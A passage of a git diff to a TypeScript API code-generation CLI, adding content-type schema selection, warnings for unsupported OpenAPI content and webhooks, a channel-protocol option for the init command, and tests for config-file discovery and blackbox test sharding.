+ jsonEntries.find(
+ ([contentType]) =>
+ contentType.toLowerCase().split(';')[0].trim() === 'application/json'
+ ) ?? jsonEntries[0];
+ return preferred[1].schema ?? null;
+}
+
// Helper function to extract schema from OpenAPI 2.0 response
function extractOpenAPI2ResponseSchema(
response: OpenAPIV2.ResponseObject
@@ -26,25 +60,7 @@ function extractOpenAPI3ResponseSchema(
if (!response.content) {
return null;
}
-
- // Prioritize JSON content types
- const jsonContentTypes = [
- 'application/json',
- 'application/vnd.api+json',
- 'text/json'
- ];
-
- // Fall back to any content type with a schema
- for (const [contentType, mediaType] of Object.entries(response.content)) {
- if (!jsonContentTypes.includes(contentType)) {
- continue;
- }
- if (mediaType.schema) {
- return mediaType.schema;
- }
- }
-
- return null;
+ return pickJsonSchema(response.content);
}
// Helper function to extract schema from OpenAPI 2.0 request body parameter
@@ -67,25 +83,7 @@ function extractOpenAPI3RequestSchema(
if (!requestBody?.content) {
return null;
}
-
- // Prioritize JSON content types
- const jsonContentTypes = [
- 'application/json',
- 'application/vnd.api+json',
- 'text/json'
- ];
-
- // Fall back to any content type with a schema
- for (const [contentType, mediaType] of Object.entries(requestBody.content)) {
- if (!jsonContentTypes.includes(contentType)) {
- continue;
- }
- if (mediaType.schema) {
- return mediaType.schema;
- }
- }
-
- return null;
+ return pickJsonSchema(requestBody.content);
}
// Helper function to create a union schema from multiple response schemas
@@ -162,11 +160,19 @@ function extractPayloadsFromOperations(
if ('requestBody' in operationObj && operationObj.requestBody) {
// OpenAPI 3.x style
- requestSchema = extractOpenAPI3RequestSchema(
- operationObj.requestBody as
- | OpenAPIV3.RequestBodyObject
- | OpenAPIV3_1.RequestBodyObject
- );
+ const requestBody = operationObj.requestBody as
+ | OpenAPIV3.RequestBodyObject
+ | OpenAPIV3_1.RequestBodyObject;
+ requestSchema = extractOpenAPI3RequestSchema(requestBody);
+ if (
+ !requestSchema &&
+ requestBody.content &&
+ Object.keys(requestBody.content).length > 0
+ ) {
+ Logger.warn(
+ `OpenAPI operation '${method.toUpperCase()} ${pathKey}' request body has no JSON-compatible content type (found: ${Object.keys(requestBody.content).join(', ')}); no request payload was generated`
+ );
+ }
} else if ('parameters' in operationObj && operationObj.parameters) {
// OpenAPI 2.0 style (body carried as a `in: 'body'` parameter)
requestSchema = extractOpenAPI2RequestSchema(
@@ -208,9 +214,19 @@ function extractPayloadsFromOperations(
);
} else {
// OpenAPI 3.x style
- responseSchema = extractOpenAPI3ResponseSchema(
- response as OpenAPIV3.ResponseObject | OpenAPIV3_1.ResponseObject
- );
+ const responseObj = response as
+ | OpenAPIV3.ResponseObject
+ | OpenAPIV3_1.ResponseObject;
+ responseSchema = extractOpenAPI3ResponseSchema(responseObj);
+ if (
+ !responseSchema &&
+ responseObj.content &&
+ Object.keys(responseObj.content).length > 0
+ ) {
+ Logger.warn(
+ `OpenAPI operation '${method.toUpperCase()} ${pathKey}' response '${statusCode}' has no JSON-compatible content type (found: ${Object.keys(responseObj.content).join(', ')}); no response payload was generated`
+ );
+ }
}
if (responseSchema) {
@@ -339,6 +355,16 @@ export function processOpenAPIPayloads(
const componentSchemas = extractComponentSchemas(openapiDocument);
otherPayloads.push(...componentSchemas);
+ // Webhooks (OpenAPI 3.1) are not traversed; warn once so their omission is
+ // visible rather than silent.
+ const webhooks = (openapiDocument as {webhooks?: Record})
+ .webhooks;
+ if (webhooks && Object.keys(webhooks).length > 0) {
+ Logger.warn(
+ 'OpenAPI webhooks are not supported and were ignored; no code was generated for them.'
+ );
+ }
+
return {
channelPayloads,
operationPayloads,
diff --git a/src/commands/base.ts b/src/commands/base.ts
index c5ba2bac..082ba29c 100644
--- a/src/commands/base.ts
+++ b/src/commands/base.ts
@@ -5,6 +5,11 @@ import {Command, Flags} from '@oclif/core';
import {Logger, LogLevel} from '../LoggingInterface';
export abstract class BaseCommand extends Command {
+ // Abstract base command — never invoked directly, so keep it out of the
+ // manifest and generated docs. Concrete subcommands override this to `false`
+ // (oclif statics are inherited, so this would otherwise hide them too).
+ static hidden = true;
+
static baseFlags = {
verbose: Flags.boolean({
char: 'v',
diff --git a/src/commands/generate.ts b/src/commands/generate.ts
index be10f698..cc82521b 100644
--- a/src/commands/generate.ts
+++ b/src/commands/generate.ts
@@ -30,6 +30,7 @@ function toCodegenError(error: unknown): CodegenError {
}
export default class Generate extends BaseCommand {
+ static hidden = false;
static description =
'Generate code based on your configuration, use `init` to get started, `generate` to generate code from the configuration.';
static args = {
diff --git a/src/commands/init.ts b/src/commands/init.ts
index 07df36dc..1b1a2c92 100644
--- a/src/commands/init.ts
+++ b/src/commands/init.ts
@@ -18,11 +18,26 @@ import {
} from '../codegen/generators';
import {updateGitignore} from '../utils/gitignore';
import {trackEvent} from '../telemetry';
+import {Logger} from '../LoggingInterface';
import {BaseCommand} from './base';
const ConfigOptions = ['esm', 'json', 'yaml', 'ts'] as const;
const LanguageOptions = ['typescript'] as const;
const InputTypeOptions = ['asyncapi', 'openapi', 'jsonschema'] as const;
+/**
+ * Protocols offered by the TypeScript `channels` generator. Mirrors the
+ * `protocols` enum on the channels Zod schema
+ * (`src/codegen/generators/typescript/channels/types.ts`).
+ */
+const ChannelProtocolOptions = [
+ 'nats',
+ 'kafka',
+ 'mqtt',
+ 'amqp',
+ 'event_source',
+ 'http_client',
+ 'websocket'
+] as const;
const map = {
inputFile: {
description:
@@ -69,6 +84,42 @@ function supportsGenerator(preset: string, inputType?: string): boolean {
);
}
+/**
+ * Whether the interactive `include-*` question for a preset should be asked.
+ * Reads the effective language and input type from flags first, falling back to
+ * the answers collected so far — so a value supplied by flag is honoured even
+ * though its own question was skipped (the previous predicate read only
+ * `answers`, which silently dropped flag-driven includes).
+ */
+export function shouldAskInclude({
+ preset,
+ flags,
+ answers
+}: {
+ preset: string;
+ flags: {languages?: string; inputType?: string};
+ answers: {languages?: string; inputType?: string};
+}): boolean {
+ const languages = flags.languages ?? answers.languages;
+ const inputType = flags.inputType ?? answers.inputType;
+ return languages === 'typescript' && supportsGenerator(preset, inputType);
+}
+
+/**
+ * Collect the `.gitignore` entries from the generators that were actually built,
+ * rather than from the raw include flags — an include flag that fails
+ * `supportsGenerator` produces no generator and therefore no ignore entry.
+ */
+export function deriveGitignoreOutputPaths(
+ generators: Array<{outputPath?: string}>
+): string[] {
+ return generators
+ .map((generator) => generator.outputPath)
+ .filter(
+ (outputPath): outputPath is string => typeof outputPath === 'string'
+ );
+}
+
/**
* Build the oclif relationships that gate an `include-*` flag to TypeScript
* and an input type the preset actually supports.
@@ -105,6 +156,7 @@ interface FlagTypes {
includeHeaders: boolean;
includeTypes: boolean;
includeModels: boolean;
+ channelsProtocols?: (typeof ChannelProtocolOptions)[number][];
languages: (typeof LanguageOptions)[number];
noOutput: boolean;
gitignoreGenerated: boolean;
@@ -123,9 +175,11 @@ interface InquirerAnswers {
includeChannels?: boolean;
includeTypes?: boolean;
includeModels?: boolean;
+ channelsProtocols?: (typeof ChannelProtocolOptions)[number][];
gitignoreGenerated?: boolean;
}
export default class Init extends BaseCommand {
+ static hidden = false;
static description = 'Initialize The Codegen Project in your project';
static args = {};
@@ -164,7 +218,14 @@ export default class Init extends BaseCommand {
}),
languages: Flags.string({
description: 'Which languages do you wish to generate code for?',
- options: LanguageOptions
+ options: LanguageOptions,
+ default: 'typescript'
+ }),
+ 'channels-protocols': Flags.string({
+ description:
+ 'Which protocols to generate channel functions for (used with --include-channels/--include-client on AsyncAPI inputs). Repeatable.',
+ options: [...ChannelProtocolOptions],
+ multiple: true
}),
'no-tty': Flags.boolean({
description: 'Do not use an interactive terminal'
@@ -207,7 +268,7 @@ export default class Init extends BaseCommand {
};
async run() {
- const {flags} = await this.parse(Init);
+ const {flags, metadata} = await this.parse(Init);
// Configure logger based on flags
this.setupLogger(flags);
@@ -215,9 +276,15 @@ export default class Init extends BaseCommand {
// eslint-disable-next-line no-undef
const isTTY = process.stdout.isTTY;
const realizedFlags = this.realizeFlags(flags);
+ // `config-type` has a default, so its value is always present; use the
+ // parser metadata to tell an explicit `--config-type` from the default so
+ // the interactive prompt can respect an explicitly-passed flag.
+ const configTypeIsDefault = Boolean(
+ metadata.flags['config-type']?.setFromDefault
+ );
if (!flags['no-tty'] && isTTY) {
- return this.runInteractive(realizedFlags);
+ return this.runInteractive(realizedFlags, {configTypeIsDefault});
}
await this.createConfiguration(realizedFlags);
@@ -245,6 +312,7 @@ export default class Init extends BaseCommand {
const includeChannels = flags['include-channels'];
const includeTypes = flags['include-types'];
const includeModels = flags['include-models'];
+ const channelsProtocols = flags['channels-protocols'];
const languages = flags['languages'];
const noOutput = flags['no-output'];
const gitignoreGenerated = flags['gitignore-generated'];
@@ -256,6 +324,7 @@ export default class Init extends BaseCommand {
includeClient,
includeTypes,
includeModels,
+ channelsProtocols,
outputDirectory,
configName,
inputFile,
@@ -271,7 +340,10 @@ export default class Init extends BaseCommand {
* Interactively ask the user for which configuration to create
*/
// eslint-disable-next-line sonarjs/cognitive-complexity
- async runInteractive(flags: FlagTypes) {
+ async runInteractive(
+ flags: FlagTypes,
+ {configTypeIsDefault}: {configTypeIsDefault: boolean}
+ ) {
let {
includeChannels,
includeParameters,
@@ -280,6 +352,7 @@ export default class Init extends BaseCommand {
includeClient,
includeTypes,
includeModels,
+ channelsProtocols,
configName,
outputDirectory,
inputFile,
@@ -332,34 +405,38 @@ export default class Init extends BaseCommand {
]
});
}
- questions.push({
- name: 'configType',
- message: 'Type of configuration?',
- type: 'list',
- choices: [
- {
- name: 'esm',
- checked: true,
- value: 'esm',
- line: 'ESM JavaScript style configuration, enables all features'
- },
- {
- name: 'json',
- value: 'json',
- line: 'JSON style configuration, enables most features'
- },
- {
- name: 'yaml',
- value: 'yaml',
- line: 'YAML style configuration, enables most features'
- },
- {
- name: 'ts',
- value: 'ts',
- line: 'TS style configuration, enables all features'
- }
- ]
- });
+ // Only ask when the user did not pass an explicit `--config-type`; an
+ // explicit flag must win over the (always-present) default.
+ if (configTypeIsDefault) {
+ questions.push({
+ name: 'configType',
+ message: 'Type of configuration?',
+ type: 'list',
+ choices: [
+ {
+ name: 'esm',
+ checked: true,
+ value: 'esm',
+ line: 'ESM JavaScript style configuration, enables all features'
+ },
+ {
+ name: 'json',
+ value: 'json',
+ line: 'JSON style configuration, enables most features'
+ },
+ {
+ name: 'yaml',
+ value: 'yaml',
+ line: 'YAML style configuration, enables most features'
+ },
+ {
+ name: 'ts',
+ value: 'ts',
+ line: 'TS style configuration, enables all features'
+ }
+ ]
+ });
+ }
if (!languages) {
questions.push({
@@ -383,8 +460,11 @@ export default class Init extends BaseCommand {
message: 'Do you want to include client wrapper?',
type: 'confirm',
when: (answers: InquirerAnswers) =>
- answers.languages === 'typescript' &&
- supportsGenerator('client', answers.inputType)
+ shouldAskInclude({
+ preset: 'client',
+ flags: {languages, inputType},
+ answers
+ })
});
}
if (!includePayloads) {
@@ -393,8 +473,11 @@ export default class Init extends BaseCommand {
message: 'Do you want to include payload structures?',
type: 'confirm',
when: (answers: InquirerAnswers) =>
- answers.languages === 'typescript' &&
- supportsGenerator('payloads', answers.inputType)
+ shouldAskInclude({
+ preset: 'payloads',
+ flags: {languages, inputType},
+ answers
+ })
});
}
if (!includeHeaders) {
@@ -403,8 +486,11 @@ export default class Init extends BaseCommand {
message: 'Do you want to include headers structures?',
type: 'confirm',
when: (answers: InquirerAnswers) =>
- answers.languages === 'typescript' &&
- supportsGenerator('headers', answers.inputType)
+ shouldAskInclude({
+ preset: 'headers',
+ flags: {languages, inputType},
+ answers
+ })
});
}
if (!includeParameters) {
@@ -413,8 +499,11 @@ export default class Init extends BaseCommand {
message: 'Do you want to include parameters structures?',
type: 'confirm',
when: (answers: InquirerAnswers) =>
- answers.languages === 'typescript' &&
- supportsGenerator('parameters', answers.inputType)
+ shouldAskInclude({
+ preset: 'parameters',
+ flags: {languages, inputType},
+ answers
+ })
});
}
if (!includeChannels) {
@@ -424,8 +513,11 @@ export default class Init extends BaseCommand {
'Do you want to include helper functions for interacting with channels?',
type: 'confirm',
when: (answers: InquirerAnswers) =>
- answers.languages === 'typescript' &&
- supportsGenerator('channels', answers.inputType)
+ shouldAskInclude({
+ preset: 'channels',
+ flags: {languages, inputType},
+ answers
+ })
});
}
if (!includeTypes) {
@@ -434,8 +526,11 @@ export default class Init extends BaseCommand {
message: 'Do you want to include general type definitions?',
type: 'confirm',
when: (answers: InquirerAnswers) =>
- answers.languages === 'typescript' &&
- supportsGenerator('types', answers.inputType)
+ shouldAskInclude({
+ preset: 'types',
+ flags: {languages, inputType},
+ answers
+ })
});
}
if (!includeModels) {
@@ -444,8 +539,35 @@ export default class Init extends BaseCommand {
message: 'Do you want to include data models?',
type: 'confirm',
when: (answers: InquirerAnswers) =>
- answers.languages === 'typescript' &&
- supportsGenerator('models', answers.inputType)
+ shouldAskInclude({
+ preset: 'models',
+ flags: {languages, inputType},
+ answers
+ })
+ });
+ }
+
+ // Ask which protocols to generate channel/client functions for, but only
+ // for AsyncAPI inputs where channels or the client wrapper are included.
+ // OpenAPI seeds `http_client` automatically, so it is not asked here.
+ if (!channelsProtocols) {
+ questions.push({
+ name: 'channelsProtocols',
+ message: 'Which protocols should channel functions be generated for?',
+ type: 'checkbox',
+ choices: ChannelProtocolOptions.map((protocol) => ({
+ name: protocol,
+ value: protocol
+ })),
+ when: (answers: InquirerAnswers) => {
+ const effectiveInputType = inputType ?? answers.inputType;
+ const wantsChannels =
+ (includeChannels ?? answers.includeChannels) === true;
+ const wantsClient = (includeClient ?? answers.includeClient) === true;
+ return (
+ effectiveInputType === 'asyncapi' && (wantsChannels || wantsClient)
+ );
+ }
});
}
@@ -459,7 +581,9 @@ export default class Init extends BaseCommand {
if (questions.length) {
const answers: any = await inquirer.prompt(questions);
- configType = answers.configType;
+ // An explicit `--config-type` flag skips its question, so only take the
+ // answer when one was collected.
+ configType = answers.configType ?? configType;
includeChannels ??= answers.includeChannels;
includeParameters ??= answers.includeParameters;
includePayloads ??= answers.includePayloads;
@@ -467,6 +591,7 @@ export default class Init extends BaseCommand {
includeClient ??= answers.includeClient;
includeTypes ??= answers.includeTypes;
includeModels ??= answers.includeModels;
+ channelsProtocols ??= answers.channelsProtocols;
inputFile ??= answers.inputFile;
inputType ??= answers.inputType;
configName ??= answers.configName;
@@ -483,6 +608,7 @@ export default class Init extends BaseCommand {
includeClient,
includeTypes,
includeModels,
+ channelsProtocols,
inputFile,
inputType,
languages,
@@ -517,6 +643,11 @@ export default class Init extends BaseCommand {
// the generator emits something instead of an empty channels config.
if (flags.inputType === 'openapi') {
generator.protocols = ['http_client'];
+ } else if (
+ flags.channelsProtocols &&
+ flags.channelsProtocols.length > 0
+ ) {
+ generator.protocols = [...flags.channelsProtocols];
}
configuration.generators.push(generator);
}
@@ -582,6 +713,33 @@ export default class Init extends BaseCommand {
configuration.generators.push(generator);
}
}
+ // A configuration with no generators would generate nothing. Fail loudly
+ // instead of silently writing an empty, useless config and printing success.
+ if (configuration.generators.length === 0) {
+ this.error(
+ `No generators were configured for '${flags.inputType ?? 'the selected input'}', so the configuration would generate nothing.\n` +
+ 'Re-run `codegen init` interactively and choose at least one generator, or pass one or more include flags: ' +
+ '--include-payloads, --include-parameters, --include-headers, --include-channels, --include-client, --include-types, --include-models ' +
+ '(availability depends on --input-type).',
+ {exit: 1}
+ );
+ }
+
+ // A channels generator on AsyncAPI with no protocols produces only an empty
+ // barrel. The config is still valid, so warn rather than error.
+ const channelsGenerator = configuration.generators.find(
+ (generator: any) => generator.preset === 'channels'
+ );
+ if (
+ flags.inputType === 'asyncapi' &&
+ channelsGenerator &&
+ (!channelsGenerator.protocols || channelsGenerator.protocols.length === 0)
+ ) {
+ Logger.warn(
+ "The channels generator has no protocols set, so no channel functions will be generated. Set 'protocols' in the generated configuration (or pass --channels-protocols) to choose protocols such as nats, kafka, mqtt, amqp."
+ );
+ }
+
let fileOutput: string = '';
let fileExtension: string = 'mjs';
if (flags.configType === 'json') {
@@ -635,30 +793,9 @@ export default config;`;
// Handle .gitignore updates
if (flags.gitignoreGenerated && !flags.noOutput) {
- const outputPaths: string[] = [];
-
- // Collect all output paths from enabled generators
- if (flags.includeChannels) {
- outputPaths.push(defaultTypeScriptChannelsGenerator.outputPath);
- }
- if (flags.includePayloads) {
- outputPaths.push(defaultTypeScriptPayloadGenerator.outputPath);
- }
- if (flags.includeHeaders) {
- outputPaths.push(defaultTypeScriptHeadersOptions.outputPath);
- }
- if (flags.includeClient) {
- outputPaths.push(defaultTypeScriptClientGenerator.outputPath);
- }
- if (flags.includeParameters) {
- outputPaths.push(defaultTypeScriptParametersOptions.outputPath);
- }
- if (flags.includeTypes) {
- outputPaths.push(defaultTypeScriptTypesOptions.outputPath);
- }
- if (flags.includeModels) {
- outputPaths.push(defaultTypeScriptModelsOptions.outputPath);
- }
+ // Derive ignore entries from the generators actually built, so an include
+ // flag that was dropped (unsupported for the input type) adds no entry.
+ const outputPaths = deriveGitignoreOutputPaths(configuration.generators);
if (outputPaths.length > 0) {
const result = await updateGitignore(outputPaths);
diff --git a/src/commands/telemetry.ts b/src/commands/telemetry.ts
index 0b99022a..4450091d 100644
--- a/src/commands/telemetry.ts
+++ b/src/commands/telemetry.ts
@@ -11,6 +11,7 @@ import {BaseCommand} from './base';
import pc from 'picocolors';
export default class Telemetry extends BaseCommand {
+ static hidden = false;
static description = 'Manage telemetry settings';
static args = {
diff --git a/test/blackbox/test_files.ts b/test/blackbox/test_files.ts
index f721d1fe..1fe6d93b 100644
--- a/test/blackbox/test_files.ts
+++ b/test/blackbox/test_files.ts
@@ -1,37 +1,81 @@
import * as path from 'path';
import * as fs from 'fs';
-// Select a specific file to test
-const TEST_SPECIFIC_FILE: any = 'oneof-asyncapi';
-// Select a specific config to test
-const TEST_SPECIFIC_CONFIG: any = '';
+// Select a specific file to test. Empty string runs the full matrix; CI shards
+// by setting BLACKBOX_FILE / BLACKBOX_CONFIG per job.
+// eslint-disable-next-line no-undef
+const TEST_SPECIFIC_FILE: string = process.env.BLACKBOX_FILE ?? '';
+// Select a specific config to test (substring match).
+// eslint-disable-next-line no-undef
+const TEST_SPECIFIC_CONFIG: string = process.env.BLACKBOX_CONFIG ?? '';
/**
- * Read all the files in the folder, and return the appropriate Jest `each` entries.
- * @param folder
+ * Config×file pairs that are known to fail and are tracked as debt rather than
+ * silently skipped. Each entry is `::` with a
+ * one-line justification. Keep this empty unless a failure is documented here.
*/
-function readFilesInFolder(folder: string) {
+export const KNOWN_FAILING: {pair: string; reason: string}[] = [];
+
+/**
+ * Whether a given config/file pair is on the tracked KNOWN_FAILING list.
+ */
+export function isKnownFailing(configFile: string, schemaFile: string): boolean {
+ return KNOWN_FAILING.some(({pair}) => {
+ const [configPart, filePart] = pair.split('::');
+ return configFile.includes(configPart) && schemaFile.includes(filePart);
+ });
+}
+
+/**
+ * Read all the files in the folder, and return the appropriate Jest `each`
+ * entries, each tagged with the given input type.
+ */
+function readFilesInFolder(folder: string, inputType: string) {
// eslint-disable-next-line no-undef
const fullPath = path.resolve(__dirname, folder);
// eslint-disable-next-line security/detect-non-literal-fs-filename
return fs.readdirSync(fullPath).map((file) => {
return {
- file: `${folder}/${file}`
+ file: `${folder}/${file}`,
+ inputType
};
});
}
+/**
+ * Read the `inputType` declared by a config file so the matrix only pairs a
+ * config with schema files of the matching input type (an AsyncAPI config
+ * cannot load a JSON Schema document, and vice versa).
+ */
+function readConfigInputType(configPath: string): string {
+ // eslint-disable-next-line no-undef, security/detect-non-literal-fs-filename
+ const content = fs.readFileSync(path.resolve(__dirname, configPath), 'utf8');
+ const match = content.match(/inputType:\s*['"]([a-z]+)['"]/);
+ return match?.[1] ?? '';
+}
+
export const filesToTest = [
- ...readFilesInFolder('./schemas/asyncapi'),
- ...readFilesInFolder('./schemas/jsonschema')
+ ...readFilesInFolder('./schemas/asyncapi', 'asyncapi'),
+ ...readFilesInFolder('./schemas/jsonschema', 'jsonschema')
].filter((value) => {
- if(TEST_SPECIFIC_FILE !== '')
- return value.file.includes(TEST_SPECIFIC_FILE);
+ if (TEST_SPECIFIC_FILE !== '') return value.file.includes(TEST_SPECIFIC_FILE);
return true;
});
-export const typescriptConfig = readFilesInFolder('./configs/typescript').filter((value) => {
- if(TEST_SPECIFIC_CONFIG !== '')
- return value.file.includes(TEST_SPECIFIC_CONFIG);
- return true;
-});
+export const typescriptConfig = readFilesInFolder(
+ './configs/typescript',
+ ''
+)
+ .map((value) => ({
+ ...value,
+ inputType: readConfigInputType(value.file)
+ }))
+ .filter((value) => {
+ if (TEST_SPECIFIC_CONFIG === '') return true;
+ // Support a comma-separated list of config substrings so CI can shard the
+ // matrix into buckets (e.g. BLACKBOX_CONFIG="channels,client").
+ return TEST_SPECIFIC_CONFIG.split(',')
+ .map((part) => part.trim())
+ .filter((part) => part.length > 0)
+ .some((part) => value.file.includes(part));
+ });
diff --git a/test/blackbox/typescript.spec.ts b/test/blackbox/typescript.spec.ts
index 26085be8..de00550d 100644
--- a/test/blackbox/typescript.spec.ts
+++ b/test/blackbox/typescript.spec.ts
@@ -1,6 +1,6 @@
import * as path from 'path';
import * as fs from 'fs';
-import {filesToTest, typescriptConfig } from './test_files';
+import {filesToTest, typescriptConfig, isKnownFailing } from './test_files';
import {loadAsyncapi, loadJsonSchema, loadConfigFile, realizeConfiguration, RunGeneratorContext, runGenerators } from '../../src';
import { execCommand } from './utils';
@@ -14,7 +14,12 @@ describe.each(typescriptConfig)(
config = loadedConfig.config;
filePath = loadedConfig.filePath;
})
- describe.each(filesToTest)(
+ // Only pair a config with schema files of the same input type — an
+ // AsyncAPI config cannot load a JSON Schema document, and vice versa.
+ const matchingFiles = filesToTest.filter(
+ (schemaFile) => schemaFile.inputType === configFile.inputType
+ );
+ describe.each(matchingFiles)(
'with schema %s',
(schemaFile) => {
const outputDirectoryPath = path.basename(configFile.file).split('.')[0];
@@ -29,7 +34,12 @@ describe.each(typescriptConfig)(
//fs.rmSync(outputPath, { recursive: true });
}
});
- test('and be syntactically correct', async () => {
+ // Tracked-debt pairs are skipped explicitly (never silently) so the
+ // KNOWN_FAILING list in test_files.ts remains the single source of debt.
+ const runTest = isKnownFailing(configFile.file, schemaFile.file)
+ ? test.skip
+ : test;
+ runTest('and be syntactically correct', async () => {
const newConfig = {...config}
const newGens = [...newConfig.generators]
newConfig.generators = []
diff --git a/test/codegen/configurations.spec.ts b/test/codegen/configurations.spec.ts
index 5a1a6d6e..92ed8aef 100644
--- a/test/codegen/configurations.spec.ts
+++ b/test/codegen/configurations.spec.ts
@@ -8,7 +8,7 @@ const CONFIG_JSON = path.resolve(__dirname, '../configs/config.json');
const CONFIG_YAML = path.resolve(__dirname, '../configs/config.yaml');
const CONFIG_TS = path.resolve(__dirname, '../configs/config.ts');
const FULL_CONFIG = path.resolve(__dirname, '../configs/config-all.js');
-import { loadAndRealizeConfigFile, loadConfigFile, realizeConfiguration, realizeGeneratorContext } from '../../src/codegen/configurations';
+import { CONFIG_SEARCH_PLACES, loadAndRealizeConfigFile, loadConfigFile, realizeConfiguration, realizeGeneratorContext } from '../../src/codegen/configurations';
import { zodTheCodegenConfiguration } from '../../src/codegen/types';
import { Logger } from '../../src/LoggingInterface.ts';
import { detectTypeScriptImportExtension } from '../../src/codegen/detection';
@@ -49,6 +49,135 @@ describe('configuration manager', () => {
});
});
+ describe('config discovery search places', () => {
+ let originalCwd: string;
+ let tempDir: string;
+
+ const minimalConfig = {
+ inputType: 'asyncapi',
+ inputPath: 'asyncapi.json',
+ language: 'typescript',
+ generators: []
+ };
+
+ beforeEach(() => {
+ originalCwd = process.cwd();
+ tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'codegen-discovery-'));
+ process.chdir(tempDir);
+ });
+
+ afterEach(() => {
+ process.chdir(originalCwd);
+ fs.rmSync(tempDir, { recursive: true, force: true });
+ });
+
+ it('exports the shared CONFIG_SEARCH_PLACES constant with the 7 primary names first', () => {
+ expect(Array.isArray(CONFIG_SEARCH_PLACES)).toBe(true);
+ // The historical 7 names must retain their search priority (unchanged order).
+ expect(CONFIG_SEARCH_PLACES.slice(0, 7)).toEqual([
+ 'codegen.json',
+ 'codegen.yaml',
+ 'codegen.yml',
+ 'codegen.js',
+ 'codegen.ts',
+ 'codegen.mjs',
+ 'codegen.cjs'
+ ]);
+ // cosmiconfig-standard extras must be present after the primary names.
+ expect(CONFIG_SEARCH_PLACES).toContain('package.json');
+ expect(CONFIG_SEARCH_PLACES).toContain('.codegenrc.json');
+ expect(CONFIG_SEARCH_PLACES).toContain('.codegenrc.yaml');
+ expect(CONFIG_SEARCH_PLACES).toContain('.codegenrc.js');
+ expect(CONFIG_SEARCH_PLACES).toContain('codegen.config.js');
+ expect(CONFIG_SEARCH_PLACES).toContain('codegen.config.ts');
+ expect(CONFIG_SEARCH_PLACES).toContain('codegen.config.mjs');
+ expect(CONFIG_SEARCH_PLACES).toContain('codegen.config.cjs');
+ });
+
+ it('discovers a package.json "codegen" property', async () => {
+ fs.writeFileSync(
+ path.join(tempDir, 'package.json'),
+ JSON.stringify({ name: 'x', codegen: minimalConfig })
+ );
+ const { config } = await loadConfigFile(undefined);
+ expect(config.inputType).toEqual('asyncapi');
+ });
+
+ it('discovers .codegenrc.json', async () => {
+ fs.writeFileSync(
+ path.join(tempDir, '.codegenrc.json'),
+ JSON.stringify(minimalConfig)
+ );
+ const { config } = await loadConfigFile(undefined);
+ expect(config.inputType).toEqual('asyncapi');
+ });
+
+ it('discovers .codegenrc.yaml', async () => {
+ fs.writeFileSync(
+ path.join(tempDir, '.codegenrc.yaml'),
+ 'inputType: asyncapi\ninputPath: asyncapi.json\nlanguage: typescript\ngenerators: []\n'
+ );
+ const { config } = await loadConfigFile(undefined);
+ expect(config.inputType).toEqual('asyncapi');
+ });
+
+ it('discovers .codegenrc.js', async () => {
+ fs.writeFileSync(
+ path.join(tempDir, '.codegenrc.js'),
+ `module.exports = ${JSON.stringify(minimalConfig)};`
+ );
+ const { config } = await loadConfigFile(undefined);
+ expect(config.inputType).toEqual('asyncapi');
+ });
+
+ it('discovers codegen.config.js', async () => {
+ fs.writeFileSync(
+ path.join(tempDir, 'codegen.config.js'),
+ `module.exports = ${JSON.stringify(minimalConfig)};`
+ );
+ const { config } = await loadConfigFile(undefined);
+ expect(config.inputType).toEqual('asyncapi');
+ });
+
+ it('discovers codegen.config.cjs', async () => {
+ fs.writeFileSync(
+ path.join(tempDir, 'codegen.config.cjs'),
+ `module.exports = ${JSON.stringify(minimalConfig)};`
+ );
+ const { config } = await loadConfigFile(undefined);
+ expect(config.inputType).toEqual('asyncapi');
+ });
+
+ it('prefers codegen.json over codegen.config.js (existing 7 keep priority)', async () => {
+ fs.writeFileSync(
+ path.join(tempDir, 'codegen.json'),
+ JSON.stringify({ ...minimalConfig, inputPath: 'primary.json' })
+ );
+ fs.writeFileSync(
+ path.join(tempDir, 'codegen.config.js'),
+ `module.exports = ${JSON.stringify({ ...minimalConfig, inputPath: 'extra.json' })};`
+ );
+ const { config, filePath } = await loadConfigFile(undefined);
+ expect(config.inputPath).toEqual('primary.json');
+ expect(filePath.endsWith('codegen.json')).toBe(true);
+ });
+
+ it('not-found error names the primary files and references the cosmiconfig extras', async () => {
+ let caught: any;
+ try {
+ await loadConfigFile(undefined);
+ } catch (error) {
+ caught = error;
+ }
+ expect(caught).toBeDefined();
+ const rendered = `${caught.message}\n${caught.details ?? ''}\n${caught.help ?? ''}`;
+ expect(rendered).toContain('codegen.json');
+ expect(rendered).toContain('package.json');
+ expect(rendered).toContain('.codegenrc');
+ expect(rendered).toContain('codegen.config');
+ });
+ });
+
describe('loadAndRealizeConfigFile', () => {
it('should work with correct ESM config', async () => {
const { config } = await loadAndRealizeConfigFile(CONFIG_MJS);
diff --git a/test/codegen/generators/typescript/__snapshots__/channels.spec.ts.snap b/test/codegen/generators/typescript/__snapshots__/channels.spec.ts.snap
index 3f0096a5..a17cb1cc 100644
--- a/test/codegen/generators/typescript/__snapshots__/channels.spec.ts.snap
+++ b/test/codegen/generators/typescript/__snapshots__/channels.spec.ts.snap
@@ -652,7 +652,7 @@ export interface AddPetContext extends HttpClientContext {
async function addPet(context: AddPetContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -764,7 +764,7 @@ export interface UpdatePetContext extends HttpClientContext {
async function updatePet(context: UpdatePetContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -877,7 +877,7 @@ export interface FindPetsByStatusAndCategoryContext extends HttpClientContext {
async function findPetsByStatusAndCategory(context: FindPetsByStatusAndCategoryContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
diff --git a/test/codegen/generators/typescript/channels/empty-protocols.spec.ts b/test/codegen/generators/typescript/channels/empty-protocols.spec.ts
new file mode 100644
index 00000000..3ec6f13a
--- /dev/null
+++ b/test/codegen/generators/typescript/channels/empty-protocols.spec.ts
@@ -0,0 +1,60 @@
+import path from 'node:path';
+import {
+ defaultTypeScriptChannelsGenerator,
+ generateTypeScriptChannels
+} from '../../../../../src/codegen/generators';
+import {loadAsyncapiDocument} from '../../../../../src/codegen/inputs/asyncapi';
+import {Logger} from '../../../../../src/LoggingInterface';
+
+describe('channels empty protocols warning', () => {
+ it('warns and still emits the barrel when no protocol functions are generated', async () => {
+ const warnSpy = jest.spyOn(Logger, 'warn').mockImplementation(() => {});
+ try {
+ const parsedAsyncAPIDocument = await loadAsyncapiDocument(
